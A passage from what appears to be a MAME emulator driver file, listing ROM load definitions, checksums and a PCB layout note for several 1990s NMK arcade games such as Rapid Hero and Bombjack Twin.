"proms", 0 ) // not dumped for this set ROM_LOAD( "9.bpr", 0x0000, 0x0100, BAD_DUMP CRC(435653a2) SHA1(575b4a46ea65179de3042614da438d2f6d8b572e) ) // unknown ROM_LOAD( "10.bpr", 0x0100, 0x0100, BAD_DUMP CRC(e6ead349) SHA1(6d81b1c0233580aa48f9718bade42d640e5ef3dd) ) // unknown ROM_END ROM_START( tdragon2a ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_WORD_SWAP( "6.bin", 0x00000, 0x80000, CRC(310d6bca) SHA1(f46ad1d13cf5014aef1f0e8862b369ab31c22866) ) ROM_REGION( 0x20000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "5.bin", 0x00000, 0x20000, CRC(b870be61) SHA1(ea5d45c3a3ab805e55806967f00167cf6366212e) ) // banked ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "1.bin", 0x000000, 0x020000, CRC(d488aafa) SHA1(4d05e7ca075b638dd90ae4c9f224817a8a3ae9f3) ) // 8x8 tiles ROM_REGION( 0x200000, "bgtile", 0 ) ROM_LOAD( "ww930914.2", 0x000000, 0x200000, CRC(f968c65d) SHA1(fd6d21bba53f945b1597d7d0735bc62dd44d5498) ) // 16x16 tiles ROM_REGION( 0x400000, "sprites", 0 ) ROM_LOAD16_WORD_SWAP( "ww930917.7", 0x000000, 0x200000, CRC(b98873cb) SHA1(cc19200865176e940ff68e12de81f029b51c2084) ) // Sprites ROM_LOAD16_WORD_SWAP( "ww930918.8", 0x200000, 0x200000, CRC(baee84b2) SHA1(b325b00e6147266dbdc840e03556004531dc2038) ) ROM_REGION( 0x240000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "ww930916.4", 0x040000, 0x200000, CRC(07c35fe6) SHA1(33547bd88764704310f2ef8cf3bfe21ceb56d5b7) ) // all banked ROM_REGION( 0x240000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "ww930915.3", 0x040000, 0x200000, CRC(82025bab) SHA1(ac6053700326ea730d00ec08193e2c8a2a019f0b) ) // all banked ROM_REGION( 0x0200, "proms", 0 ) ROM_LOAD( "9.bpr", 0x0000, 0x0100, CRC(435653a2) SHA1(575b4a46ea65179de3042614da438d2f6d8b572e) ) // unknown ROM_LOAD( "10.bpr", 0x0100, 0x0100, CRC(e6ead349) SHA1(6d81b1c0233580aa48f9718bade42d640e5ef3dd) ) // unknown ROM_END ROM_START( bigbang ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_WORD_SWAP( "eprom.3", 0x00000, 0x80000, CRC(28e5957a) SHA1(fe4f870a9c2235cc02b4e036a2a4116f071d59ad) ) ROM_REGION( 0x20000, "audiocpu", 0 ) // Z80 code ROM_LOAD( "5.bin", 0x00000, 0x20000, CRC(b870be61) SHA1(ea5d45c3a3ab805e55806967f00167cf6366212e) ) // banked ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "1.bin", 0x000000, 0x020000, CRC(d488aafa) SHA1(4d05e7ca075b638dd90ae4c9f224817a8a3ae9f3) ) // 8x8 tiles ROM_REGION( 0x200000, "bgtile", 0 ) ROM_LOAD( "ww930914.2", 0x000000, 0x200000, CRC(f968c65d) SHA1(fd6d21bba53f945b1597d7d0735bc62dd44d5498) ) // 16x16 tiles ROM_REGION( 0x400000, "sprites", 0 ) ROM_LOAD16_WORD_SWAP( "ww930917.7", 0x000000, 0x200000, CRC(b98873cb) SHA1(cc19200865176e940ff68e12de81f029b51c2084) ) // Sprites ROM_LOAD16_WORD_SWAP( "ww930918.8", 0x200000, 0x200000, CRC(baee84b2) SHA1(b325b00e6147266dbdc840e03556004531dc2038) ) ROM_REGION( 0x240000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "ww930916.4", 0x040000, 0x200000, CRC(07c35fe6) SHA1(33547bd88764704310f2ef8cf3bfe21ceb56d5b7) ) // all banked ROM_REGION( 0x240000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "ww930915.3", 0x040000, 0x200000, CRC(82025bab) SHA1(ac6053700326ea730d00ec08193e2c8a2a019f0b) ) // all banked ROM_REGION( 0x0200, "proms", 0 ) ROM_LOAD( "9.bpr", 0x0000, 0x0100, CRC(435653a2) SHA1(575b4a46ea65179de3042614da438d2f6d8b572e) ) // unknown ROM_LOAD( "10.bpr", 0x0100, 0x0100, CRC(e6ead349) SHA1(6d81b1c0233580aa48f9718bade42d640e5ef3dd) ) // unknown ROM_END /* Rapid Hero NMK, 1994 The main board has no ROMs at all except 3 PROMs. There is a plug-in daughter board that holds all the ROMs. It has the capacity for 3 socketed EPROMS and 7x 16M mask ROMs total. PCB Layout (Main board) ----------------------- AWA94099 ----------------------------------------------------------------------- | YM2203 TMP90C841 6264 DSW2(8) 62256 62256 6116 62256 62256 6116 | | 6295 NMK112 12MHz DSW1(8) | | YM3014B 6295 16MHz NMK005 62256 62256 6116 62256 62256 6116 | |J ----------------- | |A | | | |M ----------------- | |M PROM3 NMK009 NMK009 | |A NMK111 6116 6116 NMK008 | | |-| 6116 6116 | |6116 | | NMK902 ----------------- | |6116 | | | | | |PROM1 | | ----------------- | | | | | |NMK111 | | NMK903 | | | | NMK903 PROM2 | |NMK111 | | | | |-| 6116 TMP68HC000P-16 | | 62256 NMK901 6116 14MHz | | 62256 | ----------------------------------------------------------------------- Notes: 68k clock: 14.00MHz VSync: 56Hz HSync: 15.35kHz 90c841 clock: 8.000MHz PCB Layout (Daughter board) --------------------------- AWA94099-ROME -------------------------- | 2 6 7 5 3 | | | | 1 | | | | | | | | 4 8 9 10 | | | | | | | -------------------------- */ ROM_START( arcadian ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_WORD_SWAP( "arcadia.3", 0x00000, 0x80000, CRC(8b46d609) SHA1(793870d74c9d7d04c53d898610c682b2dc90d0af) ) ROM_REGION( 0x20000, "audiocpu", 0 ) // tmp90c841 ROM_LOAD( "rhp94099.2", 0x00000, 0x20000, CRC(fe01ece1) SHA1(c469fb79f2774089848c814f92ddd3c9e384050f) ) ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "arcadia.1", 0x000000, 0x020000, CRC(1c2c4008) SHA1(583d74a0a44519a7050b1d8490011ff60222f466) ) // 8x8 tiles ROM_REGION( 0x200000, "bgtile", 0 ) ROM_LOAD( "rhp94099.4", 0x000000, 0x200000, CRC(076eee7b) SHA1(7c315fe33d0fcd92e0ce2f274996c8059228b005) ) // 16x16 tiles ROM_REGION( 0x600000, "sprites", 0 ) // Sprites ROM_LOAD16_WORD_SWAP( "rhp94099.8", 0x000000, 0x200000, CRC(49892f07) SHA1(2f5d20cd193cffcba9041aa11d6665adebeffffa) ) // 16x16 tiles ROM_LOAD16_WORD_SWAP( "rhp94099.9", 0x200000, 0x200000, CRC(ea2e47f0) SHA1(97dfa8f95f27b36deb5ce1c80e3d727bad24e52b) ) // 16x16 tiles ROM_LOAD16_WORD_SWAP( "rhp94099.10",0x400000, 0x200000, CRC(512cb839) SHA1(4a2c5ac88e4bf8a6f07c703277c4d33e649fd192) ) // 16x16 tiles ROM_REGION( 0x440000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "rhp94099.6", 0x040000, 0x200000, CRC(f1a80e5a) SHA1(218bd7b0c3d8b283bf96b95bf888228810699370) ) // all banked ROM_LOAD( "rhp94099.7", 0x240000, 0x200000, CRC(0d99547e) SHA1(2d9630bd55d27010f9d1d2dbdbd07ac265e8ebe6) ) // all banked ROM_REGION( 0x440000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "rhp94099.5", 0x040000, 0x200000, CRC(515eba93) SHA1(c35cb5f31f4bc7327be5777624af168f9fb364a5) ) // all banked ROM_LOAD( "rhp94099.6", 0x240000, 0x200000, CRC(f1a80e5a) SHA1(218bd7b0c3d8b283bf96b95bf888228810699370) ) // all banked ROM_REGION( 0x0300, "proms", 0 ) ROM_LOAD( "prom1.u19", 0x0000, 0x0100, CRC(4299776e) SHA1(683d14d2ace14965f0fcfe0f0540c1b77d2cece5) ) // unknown ROM_LOAD( "prom2.u53", 0x0100, 0x0100, CRC(e6ead349) SHA1(6d81b1c0233580aa48f9718bade42d640e5ef3dd) ) // unknown ROM_LOAD( "prom3.u60", 0x0200, 0x0100, CRC(304f98c6) SHA1(8dfd9bf719087ec30c83efe95c4561666c7d1801) ) // unknown ROM_END ROM_START( raphero ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_WORD_SWAP( "3", 0x00000, 0x80000, CRC(3257bfbd) SHA1(12ba7bbbf811c9a574a7751979edaaf1f33b0764) ) ROM_REGION( 0x20000, "audiocpu", 0 ) // tmp90c841 ROM_LOAD( "rhp94099.2", 0x00000, 0x20000, CRC(fe01ece1) SHA1(c469fb79f2774089848c814f92ddd3c9e384050f) ) ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "rhp94099.1", 0x000000, 0x020000, CRC(55a7a011) SHA1(87ded56bfdd38cbf8d3bd8b3789831f768550a12) ) // 8x8 tiles ROM_REGION( 0x200000, "bgtile", 0 ) ROM_LOAD( "rhp94099.4", 0x000000, 0x200000, CRC(076eee7b) SHA1(7c315fe33d0fcd92e0ce2f274996c8059228b005) ) // 16x16 tiles ROM_REGION( 0x600000, "sprites", 0 ) // Sprites ROM_LOAD16_WORD_SWAP( "rhp94099.8", 0x000000, 0x200000, CRC(49892f07) SHA1(2f5d20cd193cffcba9041aa11d6665adebeffffa) ) // 16x16 tiles ROM_LOAD16_WORD_SWAP( "rhp94099.9", 0x200000, 0x200000, CRC(ea2e47f0) SHA1(97dfa8f95f27b36deb5ce1c80e3d727bad24e52b) ) // 16x16 tiles ROM_LOAD16_WORD_SWAP( "rhp94099.10",0x400000, 0x200000, CRC(512cb839) SHA1(4a2c5ac88e4bf8a6f07c703277c4d33e649fd192) ) // 16x16 tiles ROM_REGION( 0x440000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "rhp94099.6", 0x040000, 0x200000, CRC(f1a80e5a) SHA1(218bd7b0c3d8b283bf96b95bf888228810699370) ) // all banked ROM_LOAD( "rhp94099.7", 0x240000, 0x200000, CRC(0d99547e) SHA1(2d9630bd55d27010f9d1d2dbdbd07ac265e8ebe6) ) // all banked ROM_REGION( 0x440000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "rhp94099.5", 0x040000, 0x200000, CRC(515eba93) SHA1(c35cb5f31f4bc7327be5777624af168f9fb364a5) ) // all banked ROM_LOAD( "rhp94099.6", 0x240000, 0x200000, CRC(f1a80e5a) SHA1(218bd7b0c3d8b283bf96b95bf888228810699370) ) // all banked ROM_REGION( 0x0300, "proms", 0 ) ROM_LOAD( "prom1.u19", 0x0000, 0x0100, CRC(4299776e) SHA1(683d14d2ace14965f0fcfe0f0540c1b77d2cece5) ) // unknown ROM_LOAD( "prom2.u53", 0x0100, 0x0100, CRC(e6ead349) SHA1(6d81b1c0233580aa48f9718bade42d640e5ef3dd) ) // unknown ROM_LOAD( "prom3.u60", 0x0200, 0x0100, CRC(304f98c6) SHA1(8dfd9bf719087ec30c83efe95c4561666c7d1801) ) // unknown ROM_END ROM_START( rapheroa ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_WORD_SWAP( "rhp94099.3", 0x00000, 0x80000, CRC(ec9b4f05) SHA1(e5bd797620dc449fd78b41d87e9ba5a764eb8b44) ) ROM_REGION( 0x20000, "audiocpu", 0 ) // tmp90c841 ROM_LOAD( "rhp94099.2", 0x00000, 0x20000, CRC(fe01ece1) SHA1(c469fb79f2774089848c814f92ddd3c9e384050f) ) ROM_REGION( 0x020000, "fgtile", 0 ) ROM_LOAD( "rhp94099.1", 0x000000, 0x020000, CRC(55a7a011) SHA1(87ded56bfdd38cbf8d3bd8b3789831f768550a12) ) // 8x8 tiles ROM_REGION( 0x200000, "bgtile", 0 ) ROM_LOAD( "rhp94099.4", 0x000000, 0x200000, CRC(076eee7b) SHA1(7c315fe33d0fcd92e0ce2f274996c8059228b005) ) // 16x16 tiles ROM_REGION( 0x600000, "sprites", 0 ) // Sprites ROM_LOAD16_WORD_SWAP( "rhp94099.8", 0x000000, 0x200000, CRC(49892f07) SHA1(2f5d20cd193cffcba9041aa11d6665adebeffffa) ) // 16x16 tiles ROM_LOAD16_WORD_SWAP( "rhp94099.9", 0x200000, 0x200000, CRC(ea2e47f0) SHA1(97dfa8f95f27b36deb5ce1c80e3d727bad24e52b) ) // 16x16 tiles ROM_LOAD16_WORD_SWAP( "rhp94099.10",0x400000, 0x200000, CRC(512cb839) SHA1(4a2c5ac88e4bf8a6f07c703277c4d33e649fd192) ) // 16x16 tiles ROM_REGION( 0x440000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "rhp94099.6", 0x040000, 0x200000, CRC(f1a80e5a) SHA1(218bd7b0c3d8b283bf96b95bf888228810699370) ) // all banked ROM_LOAD( "rhp94099.7", 0x240000, 0x200000, CRC(0d99547e) SHA1(2d9630bd55d27010f9d1d2dbdbd07ac265e8ebe6) ) // all banked ROM_REGION( 0x440000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "rhp94099.5", 0x040000, 0x200000, CRC(515eba93) SHA1(c35cb5f31f4bc7327be5777624af168f9fb364a5) ) // all banked ROM_LOAD( "rhp94099.6", 0x240000, 0x200000, CRC(f1a80e5a) SHA1(218bd7b0c3d8b283bf96b95bf888228810699370) ) // all banked ROM_REGION( 0x0300, "proms", 0 ) ROM_LOAD( "prom1.u19", 0x0000, 0x0100, CRC(4299776e) SHA1(683d14d2ace14965f0fcfe0f0540c1b77d2cece5) ) // unknown ROM_LOAD( "prom2.u53", 0x0100, 0x0100, CRC(e6ead349) SHA1(6d81b1c0233580aa48f9718bade42d640e5ef3dd) ) // unknown ROM_LOAD( "prom3.u60", 0x0200, 0x0100, CRC(304f98c6) SHA1(8dfd9bf719087ec30c83efe95c4561666c7d1801) ) // unknown ROM_END ROM_START( sabotenb ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "ic76.sb1", 0x00000, 0x40000, CRC(b2b0b2cf) SHA1(219f1cefdb107d8404f4f8bfa0700fd3218d9320) ) ROM_LOAD16_BYTE( "ic75.sb2", 0x00001, 0x40000, CRC(367e87b7) SHA1(c950041529b5117686e4bb1ae77db82fe758c1d0) ) ROM_REGION( 0x010000, "fgtile", 0 ) ROM_LOAD( "ic35.sb3", 0x000000, 0x010000, CRC(eb7bc99d) SHA1(b3063afd58025a441d4750c22483e9129da402e7) ) // 8x8 tiles ROM_REGION( 0x200000, "bgtile", 0 ) ROM_LOAD( "ic32.sb4", 0x000000, 0x200000, CRC(24c62205) SHA1(3ab0ca5d7c698328d91421ccf6f7dafc20df3c8d) ) // 8x8 tiles ROM_REGION( 0x200000, "sprites", 0 ) ROM_LOAD16_WORD_SWAP( "ic100.sb5", 0x000000, 0x200000, CRC(b20f166e) SHA1(074d770fd6d233040a80a92f4467d81f961c650b) ) // Sprites ROM_REGION( 0x140000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "ic30.sb6", 0x040000, 0x100000, CRC(288407af) SHA1(78c08fae031337222681c593dc86a08df6a34a4b) ) // all banked ROM_REGION( 0x140000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "ic27.sb7", 0x040000, 0x100000, CRC(43e33a7e) SHA1(51068b63f4415712eaa25dcf1ee6b0cc2850974e) ) // all banked ROM_END ROM_START( sabotenba ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "sb1.76", 0x00000, 0x40000, CRC(df6f65e2) SHA1(6ad9e9f13539310646895c5e7992c6546e75684b) ) ROM_LOAD16_BYTE( "sb2.75", 0x00001, 0x40000, CRC(0d2c1ab8) SHA1(abb43a8c5398195c0ad48d8d772ef47635bf25c2) ) ROM_REGION( 0x010000, "fgtile", 0 ) ROM_LOAD( "ic35.sb3", 0x000000, 0x010000, CRC(eb7bc99d) SHA1(b3063afd58025a441d4750c22483e9129da402e7) ) // 8x8 tiles ROM_REGION( 0x200000, "bgtile", 0 ) ROM_LOAD( "ic32.sb4", 0x000000, 0x200000, CRC(24c62205) SHA1(3ab0ca5d7c698328d91421ccf6f7dafc20df3c8d) ) // 8x8 tiles ROM_REGION( 0x200000, "sprites", 0 ) ROM_LOAD16_WORD_SWAP( "ic100.sb5", 0x000000, 0x200000, CRC(b20f166e) SHA1(074d770fd6d233040a80a92f4467d81f961c650b) ) // Sprites ROM_REGION( 0x140000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "ic30.sb6", 0x040000, 0x100000, CRC(288407af) SHA1(78c08fae031337222681c593dc86a08df6a34a4b) ) // all banked ROM_REGION( 0x140000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "ic27.sb7", 0x040000, 0x100000, CRC(43e33a7e) SHA1(51068b63f4415712eaa25dcf1ee6b0cc2850974e) ) // all banked ROM_END ROM_START( cactus ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "02.bin", 0x00000, 0x40000, CRC(15b2ff2f) SHA1(432cfd58daa0fdbe62157b36ca73eb9af6ce91e9) ) // PCB is marked 'Cactus', actual game has no title screen ROM_LOAD16_BYTE( "01.bin", 0x00001, 0x40000, CRC(5b8ba46a) SHA1(617e414fda1bd3e9f391676d312b0cdd4700adee) ) ROM_REGION( 0x010000, "fgtile", 0 ) ROM_LOAD( "i03.bin", 0x000000, 0x010000, CRC(eb7bc99d) SHA1(b3063afd58025a441d4750c22483e9129da402e7) ) // 8x8 tiles ROM_REGION( 0x200000, "bgtile", 0 ) ROM_LOAD( "s-05.bin", 0x000000, 0x100000, CRC(fce962b9) SHA1(abd4311a17dac819d5bf8d81fe289a8b3a793b32) ) ROM_LOAD( "s-06.bin", 0x100000, 0x100000, CRC(16768fbc) SHA1(fe3667fc2e8fd0c6690e09f7b24466cc3eb34403) ) ROM_REGION( 0x200000, "sprites", 0 ) ROM_LOAD16_BYTE( "s-03.bin", 0x000001, 0x100000, CRC(bc1781b8) SHA1(5000f2111c5981428a772a9dcae2c7c8f1f6958b) ) ROM_LOAD16_BYTE( "s-04.bin", 0x000000, 0x100000, CRC(f823885e) SHA1(558b2bed207ccff8f1425cbb9dadc1ec0b70a65b) ) ROM_REGION( 0x140000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "s-01.bin", 0x040000, 0x100000, CRC(288407af) SHA1(78c08fae031337222681c593dc86a08df6a34a4b) ) // all banked ROM_REGION( 0x140000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "s-02.bin", 0x040000, 0x100000, CRC(43e33a7e) SHA1(51068b63f4415712eaa25dcf1ee6b0cc2850974e) ) // all banked ROM_END ROM_START( bjtwin ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "93087-1.bin", 0x00000, 0x20000, CRC(93c84e2d) SHA1(ad0755cabfef78e7e689856379d6f8c88a9b27c1) ) ROM_LOAD16_BYTE( "93087-2.bin", 0x00001, 0x20000, CRC(30ff678a) SHA1(aa3ce4905e448e371e254545ef9ed7edb00b1cc3) ) ROM_REGION( 0x010000, "fgtile", 0 ) ROM_LOAD( "93087-3.bin", 0x000000, 0x010000, CRC(aa13df7c) SHA1(162d4f12364c68028e86fe97ee75c262daa4c699) ) // 8x8 tiles ROM_REGION( 0x100000, "bgtile", 0 ) ROM_LOAD( "93087-4.bin", 0x000000, 0x100000, CRC(8a4f26d0) SHA1(be057a2b6d28c623ac1f16cf02ddbe12ca430b4a) ) // 8x8 tiles ROM_REGION( 0x100000, "sprites", 0 ) ROM_LOAD16_WORD_SWAP( "93087-5.bin", 0x000000, 0x100000, CRC(bb06245d) SHA1(c91e2284d95370b8ef2eb1b9d6305fdd6cde23a0) ) // Sprites ROM_REGION( 0x140000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "93087-6.bin", 0x040000, 0x100000, CRC(372d46dd) SHA1(18f44e777241af50787730652fa018c51b65ea15) ) // all banked ROM_REGION( 0x140000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "93087-7.bin", 0x040000, 0x100000, CRC(8da67808) SHA1(f042574c097f5a8c2684fcc23f2c817c168254ef) ) // all banked ROM_REGION( 0x0200, "proms", 0 ) ROM_LOAD( "8.bpr", 0x0000, 0x0100, CRC(633ab1c9) SHA1(acd99fcca41eaab7948ca84988352f1d7d519c61) ) // unknown ROM_LOAD( "9.bpr", 0x0000, 0x0100, CRC(435653a2) SHA1(575b4a46ea65179de3042614da438d2f6d8b572e) ) // unknown ROM_END ROM_START( bjtwina ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "93087.1", 0x00000, 0x20000, CRC(c82b3d8e) SHA1(74435ba7842f1be9968006894cfa5eef05c47395) ) ROM_LOAD16_BYTE( "93087.2", 0x00001, 0x20000, CRC(9be1ec47) SHA1(bf37d9254a7bbdf49b006971886ed9845d72e4b3) ) ROM_REGION( 0x010000, "fgtile", 0 ) ROM_LOAD( "93087-3.bin", 0x000000, 0x010000, CRC(aa13df7c) SHA1(162d4f12364c68028e86fe97ee75c262daa4c699) ) // 8x8 tiles ROM_REGION( 0x100000, "bgtile", 0 ) ROM_LOAD( "93087-4.bin", 0x000000, 0x100000, CRC(8a4f26d0) SHA1(be057a2b6d28c623ac1f16cf02ddbe12ca430b4a) ) // 8x8 tiles ROM_REGION( 0x100000, "sprites", 0 ) ROM_LOAD16_WORD_SWAP( "93087-5.bin", 0x000000, 0x100000, CRC(bb06245d) SHA1(c91e2284d95370b8ef2eb1b9d6305fdd6cde23a0) ) // Sprites ROM_REGION( 0x140000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "93087-6.bin", 0x040000, 0x100000, CRC(372d46dd) SHA1(18f44e777241af50787730652fa018c51b65ea15) ) // all banked ROM_REGION( 0x140000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "93087-7.bin", 0x040000, 0x100000, CRC(8da67808) SHA1(f042574c097f5a8c2684fcc23f2c817c168254ef) ) // all banked ROM_REGION( 0x0200, "proms", 0 ) ROM_LOAD( "8.bpr", 0x0000, 0x0100, CRC(633ab1c9) SHA1(acd99fcca41eaab7948ca84988352f1d7d519c61) ) // unknown ROM_LOAD( "9.bpr", 0x0000, 0x0100, CRC(435653a2) SHA1(575b4a46ea65179de3042614da438d2f6d8b572e) ) // unknown ROM_END ROM_START( bjtwinp ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "ic76", 0x00000, 0x20000, CRC(c2847f0d) SHA1(2659e642586fcd199928d3f10ec300a1f13f2e3b) ) ROM_LOAD16_BYTE( "ic75", 0x00001, 0x20000, CRC(dd8fdfce) SHA1(8b2da3b97acd07783b68ee270ae678dab6e538ec) ) ROM_REGION( 0x010000, "fgtile", 0 ) ROM_LOAD( "ic35", 0x000000, 0x010000, CRC(45d67683) SHA1(004a85ecf34e97fad40195e7e20a11bf8cafe41e) ) // 8x8 tiles ROM_REGION( 0x200000, "bgtile", 0 ) ROM_LOAD( "u1.ic32", 0x000000, 0x080000, CRC(b4960ba0) SHA1(4194bcd55fe48da08d5e951dc78daa457b1d76af) ) ROM_LOAD( "u2.ic32", 0x080000, 0x080000, CRC(99ee571d) SHA1(85db0c9c3bdf5367dd4868daf9de40bdeeda9426) ) ROM_LOAD( "u3.ic32", 0x100000, 0x080000, CRC(25720ffb) SHA1(361961e06467c7f4126e774a179087fe424160f5) ) // Contains Gun Dealer + Dooyong logos + lots of adult pics! - these are used after the bonus game in this set... ROM_REGION( 0x100000, "sprites", 0 ) ROM_LOAD16_BYTE( "u4.ic100", 0x000000, 0x080000, CRC(6501b1fb) SHA1(1c0832c3bb33aac1e5cd8845d77bc09222548ef8) ) ROM_LOAD16_BYTE( "u5.ic100", 0x000001, 0x080000, CRC(8394e2ba) SHA1(bb921ccf1f5221611449ed3537d60395d8a1c1e9) ) ROM_REGION( 0x140000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "bottom.ic30", 0x040000, 0x80000, CRC(b5ef197f) SHA1(89d675f921dead585c2fef44105a7aea2f1f399c) ) // all banked ROM_LOAD( "top.ic30", 0x0c0000, 0x80000, CRC(ab50531d) SHA1(918987f01a8b1b007721d2b365e2b2fc536bd676) ) ROM_REGION( 0x140000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "top.ic27", 0x040000, 0x80000, CRC(adb2f256) SHA1(ab7bb6683799203d0f46705f2fd241c6de914e77) ) // all banked ROM_LOAD( "bottom.ic27", 0x0c0000, 0x80000, CRC(6ebeb9e4) SHA1(b547b2fbcc0a35d6183dd4f19684b04839690a2b) ) ROM_END ROM_START( bjtwinpa ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "ic76.bin", 0x00000, 0x20000, CRC(81106d1e) SHA1(81c195173cf859f6266c160ee94ac4734edef085) ) ROM_LOAD16_BYTE( "ic75.bin", 0x00001, 0x20000, CRC(7c99b97f) SHA1(36e34b7a5bb876b7bbee46ace7acc03faeee211e) ) ROM_REGION( 0x010000, "fgtile", 0 ) ROM_LOAD( "ic35.bin", 0x000000, 0x010000, CRC(aa13df7c) SHA1(162d4f12364c68028e86fe97ee75c262daa4c699) ) // 8x8 tiles ROM_REGION( 0x200000, "bgtile", 0 ) ROM_LOAD( "ic32_1.bin", 0x000000, 0x080000, CRC(e2d2b331) SHA1(d8fdbff497303a00fc866f0ef07ba74b369c0636) ) ROM_LOAD( "ic32_2.bin", 0x080000, 0x080000, CRC(28a3a845) SHA1(4daf71dce5e598ee7ee7e09bb08ec1b2f06f2b01) ) ROM_LOAD( "ic32_3.bin", 0x100000, 0x080000, CRC(ecce80c9) SHA1(ae7410f47e911988f654e78d585d78cf40e0ae5e) ) ROM_REGION( 0x100000, "sprites", 0 ) ROM_LOAD16_BYTE( "ic100_1.bin", 0x000000, 0x080000, CRC(2ea7e460) SHA1(b8dc13994ae2433fc7c38412c9ea6f10f945bca5) ) ROM_LOAD16_BYTE( "ic100_2.bin", 0x000001, 0x080000, CRC(ec85e1b7) SHA1(2f9a60ad2beb22d1b41dab7db3634b8e36cfce3e) ) ROM_REGION( 0x140000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "bottom.ic30", 0x040000, 0x80000, CRC(b5ef197f) SHA1(89d675f921dead585c2fef44105a7aea2f1f399c) ) // all banked ROM_LOAD( "top.ic30", 0x0c0000, 0x80000, CRC(ab50531d) SHA1(918987f01a8b1b007721d2b365e2b2fc536bd676) ) ROM_REGION( 0x140000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "top.ic27", 0x040000, 0x80000, CRC(adb2f256) SHA1(ab7bb6683799203d0f46705f2fd241c6de914e77) ) // all banked ROM_LOAD( "bottom.ic27", 0x0c0000, 0x80000, CRC(6ebeb9e4) SHA1(b547b2fbcc0a35d6183dd4f19684b04839690a2b) ) ROM_END ROM_START( nouryoku ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "ic76.1", 0x00000, 0x40000, CRC(26075988) SHA1(c3d0eef0417be3f78008c026915fd7e2fd589563) ) ROM_LOAD16_BYTE( "ic75.2", 0x00001, 0x40000, CRC(75ab82cd) SHA1(fb828f87eebbe9d61766535efc18de9dfded110c) ) ROM_REGION( 0x010000, "fgtile", 0 ) ROM_LOAD( "ic35.3", 0x000000, 0x010000, CRC(03d0c3b1) SHA1(4d5427c324e2141d0a953cc5133d10b327827e0b) ) // 8x8 tiles ROM_REGION( 0x200000, "bgtile", 0 ) ROM_LOAD( "ic32.4", 0x000000, 0x200000, CRC(88d454fd) SHA1(c79c48d9b3602266499a5dd0b15fd2fb032809be) ) // 8x8 tiles ROM_REGION( 0x200000, "sprites", 0 ) ROM_LOAD16_WORD_SWAP( "ic100.5", 0x000000, 0x200000, CRC(24d3e24e) SHA1(71e38637953ec98bf308824aaef5628803aead21) ) // Sprites ROM_REGION( 0x140000, "oki1", 0 ) // OKIM6295 samples ROM_LOAD( "ic30.6", 0x040000, 0x100000, CRC(feea34f4) SHA1(bee467e74dbad497c6f5f6b38b7e52001e767012) ) // all banked ROM_REGION( 0x140000, "oki2", 0 ) // OKIM6295 samples ROM_LOAD( "ic27.7", 0x040000, 0x100000, CRC(8a69fded) SHA1(ee73f1789bcc672232606a4b3b28087fea1c5c69) ) // all banked ROM_END ROM_START( nouryokup ) ROM_REGION( 0x80000, "maincpu", 0 ) // 68000 code ROM_LOAD16_BYTE( "ic76.1", 0x00000, 0x40000, CRC(26075988) SHA1(c3d0eef0417be3f78008c026915fd7e2fd589563) ) ROM_LOAD16_BYTE( "ic75.2", 0x00001, 0x40000, CRC(75ab82cd) SHA1(fb828f87eebbe9d61766535efc18de9dfded110c) ) ROM_REGION( 0x010000, "fgtile", 0 ) ROM_LOAD( "ic35.3", 0x000000, 0x010000, CRC(03d0c3b1) SHA1(4d5427c324e2141d0a953cc5133d10b327827e0b) ) // 8x8 tiles ROM_REGION( 0x200000, "bgtile", 0 ) ROM_LOAD( "bg0.u1.ic32", 0x000000, 0x080000, CRC(1fec8e14) SHA1(7c596a455f829f31a801ea3d9fbb6a63810436a6) ) ROM_LOAD( "bg1.u2.ic32", 0x080000, 0x080000, CRC(7b8ea3f0) SHA1(14722f7dcf5e86f32126ccb975f0a592c065f836) ) ROM_LOAD( "bg2.u3.ic32", 0x100000, 0x080000, CRC(6f4eb408) SHA1(7f10676b7263bdf0fd5cfc4e5449f932984d4eb3) ) ROM_LOAD( "bg3.u4.ic32", 0x180000, 0x080000, CRC(dea8c120) 